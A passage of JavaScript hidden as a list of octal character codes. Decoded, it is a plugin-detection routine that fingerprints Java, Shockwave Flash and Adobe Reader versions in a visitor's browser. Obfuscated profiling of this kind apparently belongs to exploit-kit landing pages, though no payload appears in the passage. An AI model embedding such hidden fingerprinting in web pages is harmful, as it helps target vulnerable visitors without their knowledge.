0156, 0164, 0145, 0162, 0166, 0141, 0154, 0121, 0165, 0145, 0162, 0171, 054, 0153, 051, 073, 0151, 0146, 050, 041, 0151, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 051, 0173, 0151, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 060, 056, 0160, 0165, 0163, 0150, 050, 0133, 0153, 056, 0167, 0151, 0156, 0117, 0156, 0114, 0157, 0141, 0144, 0121, 0165, 0145, 0162, 0171, 054, 0153, 0135, 051, 0175, 0163, 0145, 0164, 0124, 0151, 0155, 0145, 0157, 0165, 0164, 050, 0153, 056, 0157, 0156, 0111, 0156, 0164, 0145, 0162, 0166, 0141, 0154, 0121, 0165, 0145, 0162, 0171, 054, 0153, 056, 0151, 0156, 0164, 0145, 0162, 0166, 0141, 0154, 0114, 0145, 0156, 0147, 0164, 0150, 051, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0144, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0175, 0175, 054, 0116, 0117, 0124, 0106, 072, 0173, 044, 072, 061, 054, 0143, 0157, 0165, 0156, 0164, 072, 060, 054, 0143, 0157, 0165, 0156, 0164, 0115, 0141, 0170, 072, 062, 065, 054, 0151, 0156, 0164, 0145, 0162, 0166, 0141, 0154, 0114, 0145, 0156, 0147, 0164, 0150, 072, 062, 065, 060, 054, 0163, 0150, 0157, 0165, 0154, 0144, 0103, 0157, 0156, 0164, 0151, 0156, 0165, 0145, 0121, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0145, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0145, 056, 044, 054, 0143, 075, 0145, 056, 044, 044, 054, 0142, 075, 0143, 056, 0141, 0160, 0160, 0154, 0145, 0164, 054, 0141, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0142, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 0142, 056, 0110, 0124, 0115, 0114, 0133, 0141, 0135, 046, 046, 041, 0142, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 0133, 0141, 0135, 0133, 060, 0135, 046, 046, 050, 0142, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 0133, 0141, 0135, 076, 075, 062, 0174, 0174, 050, 0142, 056, 0141, 0154, 0154, 0157, 0167, 0145, 0144, 0133, 0141, 0135, 075, 075, 061, 046, 046, 041, 0142, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 0133, 060, 0135, 051, 051, 046, 046, 0145, 056, 0151, 0163, 0101, 0160, 0160, 0154, 0145, 0164, 0101, 0143, 0164, 0151, 0166, 0145, 050, 0141, 051, 076, 075, 060, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0151, 0163, 0112, 0141, 0166, 0141, 0101, 0143, 0164, 0151, 0166, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 051, 0173, 0166, 0141, 0162, 040, 0146, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0146, 056, 044, 044, 054, 0141, 054, 0142, 054, 0145, 075, 055, 071, 073, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0143, 056, 0141, 0160, 0160, 0154, 0145, 0164, 056, 0110, 0124, 0115, 0114, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0142, 075, 0146, 056, 0151, 0163, 0101, 0160, 0160, 0154, 0145, 0164, 0101, 0143, 0164, 0151, 0166, 0145, 050, 0141, 054, 0144, 051, 073, 0151, 0146, 050, 0142, 076, 0145, 051, 0173, 0145, 075, 0142, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0145, 0175, 054, 0151, 0163, 0101, 0160, 0160, 0154, 0145, 0164, 0101, 0143, 0164, 0151, 0166, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 054, 0141, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0142, 075, 0144, 056, 044, 044, 056, 0141, 0160, 0160, 0154, 0145, 0164, 056, 0141, 0143, 0164, 0151, 0166, 0145, 073, 0151, 0146, 050, 041, 0141, 051, 0173, 0142, 0133, 0143, 0135, 075, 0144, 056, 0151, 0163, 0101, 0160, 0160, 0154, 0145, 0164, 0101, 0143, 0164, 0151, 0166, 0145, 0137, 050, 0143, 051, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0133, 0143, 0135, 0175, 054, 0151, 0163, 0101, 0160, 0160, 0154, 0145, 0164, 0101, 0143, 0164, 0151, 0166, 0145, 0137, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 051, 0173, 0166, 0141, 0162, 040, 0147, 075, 0164, 0150, 0151, 0163, 054, 0146, 075, 0147, 056, 044, 054, 0142, 075, 0147, 056, 044, 044, 054, 0154, 075, 0142, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 054, 0141, 075, 0142, 056, 0141, 0160, 0160, 0154, 0145, 0164, 054, 0150, 075, 0141, 056, 0110, 0124, 0115, 0114, 0133, 0144, 0135, 054, 0151, 054, 0153, 054, 0143, 075, 060, 054, 0152, 075, 0146, 056, 0147, 0145, 0164, 0124, 0141, 0147, 0123, 0164, 0141, 0164, 0165, 0163, 050, 0150, 054, 0141, 056, 0104, 0165, 0155, 0155, 0171, 0123, 0160, 0141, 0156, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 054, 0141, 056, 0104, 0165, 0155, 0155, 0171, 0117, 0142, 0152, 0124, 0141, 0147, 0110, 0124, 0115, 0114, 054, 0147, 056, 0143, 0157, 0165, 0156, 0164, 051, 073, 0151, 0146, 050, 0152, 075, 075, 055, 062, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 055, 062, 0175, 0164, 0162, 0171, 0173, 0151, 0146, 050, 0146, 056, 0151, 0163, 0111, 0105, 046, 046, 0142, 056, 0155, 0151, 0156, 0111, 0105, 0166, 0145, 0162, 074, 075, 0146, 056, 0166, 0145, 0162, 0111, 0105, 046, 046, 0146, 056, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 050, 0150, 051, 056, 0157, 0142, 0152, 0145, 0143, 0164, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0151, 051, 0173, 0175, 0146, 0157, 0162, 050, 0153, 075, 060, 073, 0153, 074, 0141, 056, 0141, 0143, 0164, 0151, 0166, 0145, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0153, 053, 053, 051, 0173, 0151, 0146, 050, 060, 074, 0141, 056, 0141, 0143, 0164, 0151, 0166, 0145, 0133, 0153, 0135, 051, 0173, 0143, 075, 061, 0175, 0175, 0151, 0146, 050, 0152, 075, 075, 061, 046, 046, 050, 0146, 056, 0151, 0163, 0111, 0105, 0174, 0174, 050, 050, 0142, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 060, 046, 046, 0154, 056, 0152, 0141, 0166, 0141, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 050, 051, 046, 046, 0154, 056, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 046, 046, 050, 0150, 056, 0164, 0141, 0147, 0116, 0141, 0155, 0145, 075, 075, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 0174, 0174, 0143, 051, 051, 0174, 0174, 0142, 056, 0154, 0141, 0156, 0147, 056, 0123, 0171, 0163, 0164, 0145, 0155, 056, 0147, 0145, 0164, 0120, 0162, 0157, 0160, 0145, 0162, 0164, 0171, 050, 051, 0133, 060, 0135, 051, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 060, 076, 0152, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 055, 061, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0167, 0151, 0156, 0117, 0156, 0114, 0157, 0141, 0144, 0121, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 054, 0144, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0144, 056, 044, 044, 054, 0141, 073, 0151, 0146, 050, 0142, 056, 0117, 0124, 0106, 075, 075, 063, 051, 0173, 0141, 075, 0144, 056, 0161, 0165, 0145, 0162, 0171, 0101, 0154, 0154, 0101, 0160, 0160, 0154, 0145, 0164, 0163, 050, 051, 073, 0144, 056, 0161, 0165, 0145, 0162, 0171, 0103, 0157, 0155, 0160, 0154, 0145, 0164, 0145, 0144, 050, 0141, 0133, 061, 0135, 054, 0141, 0133, 062, 0135, 051, 0175, 0175, 054, 044, 044, 0157, 0156, 0111, 0156, 0164, 0145, 0162, 0166, 0141, 0154, 0121, 0165, 0145, 0162, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0144, 056, 044, 054, 0142, 075, 0144, 056, 044, 044, 054, 0141, 073, 0151, 0146, 050, 0142, 056, 0117, 0124, 0106, 075, 075, 063, 051, 0173, 0141, 075, 0144, 056, 0161, 0165, 0145, 0162, 0171, 0101, 0154, 0154, 0101, 0160, 0160, 0154, 0145, 0164, 0163, 050, 051, 073, 0151, 0146, 050, 041, 0144, 056, 0163, 0150, 0157, 0165, 0154, 0144, 0103, 0157, 0156, 0164, 0151, 0156, 0165, 0145, 0121, 0165, 0145, 0162, 0171, 050, 051, 0174, 0174, 050, 0143, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 046, 046, 0144, 056, 0143, 0157, 0165, 0156, 0164, 076, 0144, 056, 0143, 0157, 0165, 0156, 0164, 0115, 0141, 0170, 051, 051, 0173, 0144, 056, 0161, 0165, 0145, 0162, 0171, 0103, 0157, 0155, 0160, 0154, 0145, 0164, 0145, 0144, 050, 0141, 0133, 061, 0135, 054, 0141, 0133, 062, 0135, 051, 0175, 0175, 0144, 056, 0143, 0157, 0165, 0156, 0164, 053, 053, 073, 0151, 0146, 050, 0142, 056, 0117, 0124, 0106, 075, 075, 063, 051, 0173, 0163, 0145, 0164, 0124, 0151, 0155, 0145, 0157, 0165, 0164, 050, 0144, 056, 0157, 0156, 0111, 0156, 0164, 0145, 0162, 0166, 0141, 0154, 0121, 0165, 0145, 0162, 0171, 054, 0144, 056, 0151, 0156, 0164, 0145, 0162, 0166, 0141, 0154, 0114, 0145, 0156, 0147, 0164, 0150, 051, 0175, 0175, 054, 0161, 0165, 0145, 0162, 0171, 0101, 0154, 0154, 0101, 0160, 0160, 0154, 0145, 0164, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0147, 075, 0164, 0150, 0151, 0163, 054, 0146, 075, 0147, 056, 044, 054, 0145, 075, 0147, 056, 044, 044, 054, 0144, 075, 0145, 056, 0141, 0160, 0160, 0154, 0145, 0164, 054, 0142, 054, 0141, 054, 0143, 073, 0146, 0157, 0162, 050, 0142, 075, 060, 073, 0142, 074, 0144, 056, 0162, 0145, 0163, 0165, 0154, 0164, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0142, 053, 053, 051, 0173, 0144, 056, 0161, 0165, 0145, 0162, 0171, 050, 0142, 051, 0175, 0141, 075, 0144, 056, 0147, 0145, 0164, 0122, 0145, 0163, 0165, 0154, 0164, 050, 051, 073, 0143, 075, 0141, 0133, 060, 0135, 077, 0164, 0162, 0165, 0145, 072, 0146, 0141, 0154, 0163, 0145, 073, 0162, 0145, 0164, 0165, 0162, 0156, 0133, 0143, 054, 0141, 0133, 060, 0135, 054, 0141, 0133, 061, 0135, 0135, 0175, 054, 0161, 0165, 0145, 0162, 0171, 0103, 0157, 0155, 0160, 0154, 0145, 0164, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 054, 0146, 051, 0173, 0166, 0141, 0162, 040, 0145, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0145, 056, 044, 054, 0142, 075, 0145, 056, 044, 044, 073, 0151, 0146, 050, 0142, 056, 0117, 0124, 0106, 076, 075, 064, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0142, 056, 0117, 0124, 0106, 075, 064, 073, 0166, 0141, 0162, 040, 0141, 075, 0145, 056, 0151, 0163, 0112, 0141, 0166, 0141, 0101, 0143, 0164, 0151, 0166, 0145, 050, 051, 073, 0142, 056, 0163, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0123, 0164, 0141, 0164, 0165, 0163, 050, 0143, 054, 0146, 054, 060, 051, 073, 0151, 0146, 050, 0142, 056, 0146, 0165, 0156, 0143, 0163, 051, 0173, 0144, 056, 0143, 0141, 0154, 0154, 0101, 0162, 0162, 0141, 0171, 050, 0142, 056, 0146, 0165, 0156, 0143, 0163, 051, 0175, 0151, 0146, 050, 0144, 056, 0157, 0156, 0104, 0157, 0156, 0145, 0105, 0155, 0160, 0164, 0171, 0104, 0151, 0166, 051, 0173, 0144, 056, 0157, 0156, 0104, 0157, 0156, 0145, 0105, 0155, 0160, 0164, 0171, 0104, 0151, 0166, 050, 051, 0175, 0175, 0175, 054, 0172, 0172, 072, 060, 0175, 054, 0146, 0154, 0141, 0163, 0150, 072, 0173, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 072, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0170, 055, 0163, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 055, 0146, 0154, 0141, 0163, 0150, 042, 054, 0160, 0162, 0157, 0147, 0111, 0104, 072, 042, 0123, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 0106, 0154, 0141, 0163, 0150, 056, 0123, 0150, 0157, 0143, 0153, 0167, 0141, 0166, 0145, 0106, 0154, 0141, 0163, 0150, 042, 054, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 072, 042, 0143, 0154, 0163, 0151, 0144, 072, 0104, 062, 067, 0103, 0104, 0102, 066, 0105, 055, 0101, 0105, 066, 0104, 055, 061, 061, 0103, 0106, 055, 071, 066, 0102, 070, 055, 064, 064, 064, 065, 065, 063, 065, 064, 060, 060, 060, 060, 042, 054, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0151, 051, 0173, 0151, 0146, 050, 041, 0151, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0156, 0165, 0154, 0154, 0175, 0166, 0141, 0162, 040, 0145, 075, 057, 0133, 0134, 0144, 0135, 0133, 0134, 0144, 0134, 054, 0134, 056, 0134, 0163, 0135, 052, 0133, 0162, 0122, 0144, 0104, 0135, 0173, 060, 054, 061, 0175, 0133, 0134, 0144, 0134, 054, 0135, 052, 057, 056, 0145, 0170, 0145, 0143, 050, 0151, 051, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0145, 077, 0145, 0133, 060, 0135, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 057, 0133, 0162, 0122, 0144, 0104, 0134, 056, 0135, 057, 0147, 054, 042, 054, 042, 051, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 057, 0134, 0163, 057, 0147, 054, 042, 042, 051, 072, 0156, 0165, 0154, 0154, 0175, 073, 0166, 0141, 0162, 040, 0152, 075, 0164, 0150, 0151, 0163, 054, 0147, 075, 0152, 056, 044, 054, 0153, 054, 0150, 054, 0154, 075, 0156, 0165, 0154, 0154, 054, 0143, 075, 0156, 0165, 0154, 0154, 054, 0141, 075, 0156, 0165, 0154, 0154, 054, 0146, 054, 0155, 054, 0144, 073, 0151, 0146, 050, 041, 0147, 056, 0151, 0163, 0111, 0105, 051, 0173, 0155, 075, 0147, 056, 0150, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0152, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 051, 073, 0151, 0146, 050, 0155, 051, 0173, 0146, 075, 0147, 056, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 050, 0147, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 050, 042, 0157, 0142, 0152, 0145, 0143, 0164, 042, 054, 0133, 042, 0164, 0171, 0160, 0145, 042, 054, 0152, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 0135, 054, 0133, 0135, 054, 042, 042, 054, 0152, 051, 051, 073, 0164, 0162, 0171, 0173, 0154, 075, 0147, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0146, 056, 0107, 0145, 0164, 0126, 0141, 0162, 0151, 0141, 0142, 0154, 0145, 050, 042, 044, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 042, 051, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0153, 051, 0173, 0175, 0175, 0151, 0146, 050, 041, 0154, 051, 0173, 0144, 075, 0155, 077, 0155, 056, 0145, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 072, 0156, 0165, 0154, 0154, 073, 0151, 0146, 050, 0144, 046, 046, 0144, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 051, 0173, 0154, 075, 0142, 050, 0144, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 051, 0175, 0151, 0146, 050, 0154, 051, 0173, 0154, 075, 0147, 056, 0147, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0106, 0151, 0154, 0145, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 0144, 054, 0154, 051, 0175, 0175, 0175, 0145, 0154, 0163, 0145, 0173, 0146, 0157, 0162, 050, 0150, 075, 061, 065, 073, 0150, 076, 062, 073, 0150, 055, 055, 051, 0173, 0143, 075, 0147, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0152, 056, 0160, 0162, 0157, 0147, 0111, 0104, 053, 042, 056, 042, 053, 0150, 051, 073, 0151, 0146, 050, 0143, 051, 0173, 0141, 075, 0150, 056, 0164, 0157, 0123, 0164, 0162, 0151, 0156, 0147, 050, 051, 073, 0142, 0162, 0145, 0141, 0153, 0175, 0175, 0151, 0146, 050, 041, 0143, 051, 0173, 0143, 075, 0147, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0152, 056, 0160, 0162, 0157, 0147, 0111, 0104, 051, 0175, 0151, 0146, 050, 0141, 075, 075, 042, 066, 042, 051, 0173, 0164, 0162, 0171, 0173, 0143, 056, 0101, 0154, 0154, 0157, 0167, 0123, 0143, 0162, 0151, 0160, 0164, 0101, 0143, 0143, 0145, 0163, 0163, 075, 042, 0141, 0154, 0167, 0141, 0171, 0163, 042, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0153, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 042, 066, 054, 060, 054, 062, 061, 054, 060, 042, 0175, 0175, 0164, 0162, 0171, 0173, 0154, 075, 0142, 050, 0143, 056, 0107, 0145, 0164, 0126, 0141, 0162, 0151, 0141, 0142, 0154, 0145, 050, 042, 044, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 042, 051, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0153, 051, 0173, 0175, 0151, 0146, 050, 041, 0154, 046, 046, 0141, 051, 0173, 0154, 075, 0141, 0175, 0175, 0152, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 0154, 077, 061, 072, 055, 061, 073, 0152, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0147, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0154, 051, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0162, 0165, 0145, 0175, 0175, 054, 0141, 0144, 0157, 0142, 0145, 0162, 0145, 0141, 0144, 0145, 0162, 072, 0173, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 072, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0160, 0144, 0146, 042, 054, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 072, 0156, 0165, 0154, 0154, 054, 0160, 0162, 0157, 0147, 0111, 0104, 072, 0133, 042, 0101, 0143, 0162, 0157, 0120, 0104, 0106, 056, 0120, 0104, 0106, 042, 054, 042, 0120, 0104, 0106, 056, 0120, 0144, 0146, 0103, 0164, 0162, 0154, 042, 0135, 054, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 072, 042, 0143, 0154, 0163, 0151, 0144, 072, 0103, 0101, 070, 0101, 071, 067, 070, 060, 055, 062, 070, 060, 0104, 055, 061, 061, 0103, 0106, 055, 0101, 062, 064, 0104, 055, 064, 064, 064, 065, 065, 063, 065, 064, 060, 060, 060, 060, 042, 054, 0111, 0116, 0123, 0124, 0101, 0114, 0114, 0105, 0104, 072, 0173, 0175, 054, 0160, 0154, 0165, 0147, 0151, 0156, 0110, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 054, 0143, 054, 0146, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0142, 056, 044, 054, 0141, 073, 0146, 0157, 0162, 050, 0141, 040, 0151, 0156, 040, 0144, 051, 0173, 0151, 0146, 050, 0144, 0133, 0141, 0135, 046, 046, 0144, 0133, 0141, 0135, 056, 0164, 0171, 0160, 0145, 046, 046, 0144, 0133, 0141, 0135, 056, 0164, 0171, 0160, 0145, 075, 075, 0143, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0151, 0146, 050, 0145, 056, 0147, 0145, 0164, 0115, 0151, 0155, 0145, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 050, 0143, 054, 0146, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0154, 054, 0152, 051, 0173, 0166, 0141, 0162, 040, 0147, 075, 0164, 0150, 0151, 0163, 054, 0144, 075, 0147, 056, 044, 054, 0151, 054, 0146, 054, 0155, 054, 0156, 054, 0142, 075, 0156, 0165, 0154, 0154, 054, 0150, 075, 0156, 0165, 0154, 0154, 054, 0153, 075, 0147, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 054, 0141, 054, 0143, 073, 0151, 0146, 050, 0144, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0152, 051, 051, 0173, 0152, 075, 0152, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 057, 0134, 0163, 057, 0147, 054, 042, 042, 051, 073, 0151, 0146, 050, 0152, 051, 0173, 0153, 075, 0152, 0175, 0175, 0145, 0154, 0163, 0145, 0173, 0152, 075, 0156, 0165, 0154, 0154, 0175, 0151, 0146, 050, 0144, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0147, 056, 0111, 0116, 0123, 0124, 0101, 0114, 0114, 0105, 0104, 0133, 0153, 0135, 051, 051, 0173, 0147, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 0147, 056, 0111, 0116, 0123, 0124, 0101, 0114, 0114, 0105, 0104, 0133, 0153, 0135, 073, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0151, 0146, 050, 041, 0144, 056, 0151, 0163, 0111, 0105, 051, 0173, 0141, 075, 042, 0101, 0144, 0157, 0142, 0145, 056, 052, 0120, 0104, 0106, 056, 052, 0120, 0154, 0165, 0147, 055, 077, 0151, 0156, 0174, 0101, 0144, 0157, 0142, 0145, 056, 052, 0101, 0143, 0162, 0157, 0142, 0141, 0164, 056, 052, 0120, 0154, 0165, 0147, 055, 077, 0151, 0156, 0174, 0101, 0144, 0157, 0142, 0145, 056, 052, 0122, 0145, 0141, 0144, 0145, 0162, 056, 052, 0120, 0154, 0165, 0147, 055, 077, 0151, 0156, 042, 073, 0151, 0146, 050, 0147, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 041, 075, 075, 060, 051, 0173, 0147, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 060, 073, 0142, 075, 0144, 056, 0147, 0145, 0164, 0115, 0151, 0155, 0145, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 050, 0147, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 054, 0141, 051, 073, 0151, 0146, 050, 041, 0152, 051, 0173, 0156, 075, 0142, 0175, 0151, 0146, 050, 041, 0142, 046, 046, 0144, 056, 0150, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0147, 056, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 051, 051, 0173, 0142, 075, 0144, 056, 0146, 0151, 0156, 0144, 0116, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 050, 0141, 054, 060, 051, 0175, 0151, 0146, 050, 0142, 051, 0173, 0147, 056, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 075, 0142, 073, 0150, 075, 0144, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0142, 056, 0144, 0145, 0163, 0143, 0162, 0151, 0160, 0164, 0151, 0157, 0156, 051, 0174, 0174, 0144, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0142, 056, 0156, 0141, 0155, 0145, 051, 073, 0150, 075, 0144, 056, 0147, 0145, 0164, 0120, 0154, 0165, 0147, 0151, 0156, 0106, 0151, 0154, 0145, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 0142, 054, 0150, 051, 073, 0151, 0146, 050, 041, 0150, 046, 046, 0144, 056, 0117, 0123, 075, 075, 061, 051, 0173, 0151, 0146, 050, 0147, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0110, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0142, 054, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0166, 0156, 0144, 056, 0141, 0144, 0157, 0142, 0145, 056, 0160, 0144, 0146, 0170, 0155, 0154, 042, 054, 0141, 051, 051, 0173, 0150, 075, 042, 071, 042, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0147, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0110, 0141, 0163, 0115, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 050, 0142, 054, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0166, 0156, 0144, 056, 0141, 0144, 0157, 0142, 0145, 056, 0170, 055, 0155, 0141, 0162, 0163, 042, 054, 0141, 051, 051, 0173, 0150, 075, 042, 070, 042, 0175, 0175, 0175, 0175, 0175, 0145, 0154, 0163, 0145, 0173, 0150, 075, 0147, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0175, 0151, 0146, 050, 041, 0144, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0156, 051, 051, 0173, 0156, 075, 0144, 056, 0147, 0145, 0164, 0115, 0151, 0155, 0145, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 0120, 0154, 0165, 0147, 0151, 0156, 050, 0153, 054, 0141, 051, 0175, 0147, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 0156, 046, 046, 0150, 077, 061, 072, 050, 0156, 077, 060, 072, 050, 0147, 056, 0156, 0141, 0166, 0120, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 077, 055, 060, 056, 062, 072, 055, 061, 051, 051, 0175, 0145, 0154, 0163, 0145, 0173, 0142, 075, 0144, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0147, 056, 0160, 0162, 0157, 0147, 0111, 0104, 0133, 060, 0135, 051, 0174, 0174, 0144, 056, 0147, 0145, 0164, 0101, 0130, 0117, 050, 0147, 056, 0160, 0162, 0157, 0147, 0111, 0104, 0133, 061, 0135, 051, 073, 0143, 075, 057, 075, 0134, 0163, 052, 050, 0133, 0134, 0144, 0134, 056, 0135, 053, 051, 057, 0147, 073, 0164, 0162, 0171, 0173, 0146, 075, 050, 0142, 0174, 0174, 0144, 056, 0147, 0145, 0164, 0104, 0117, 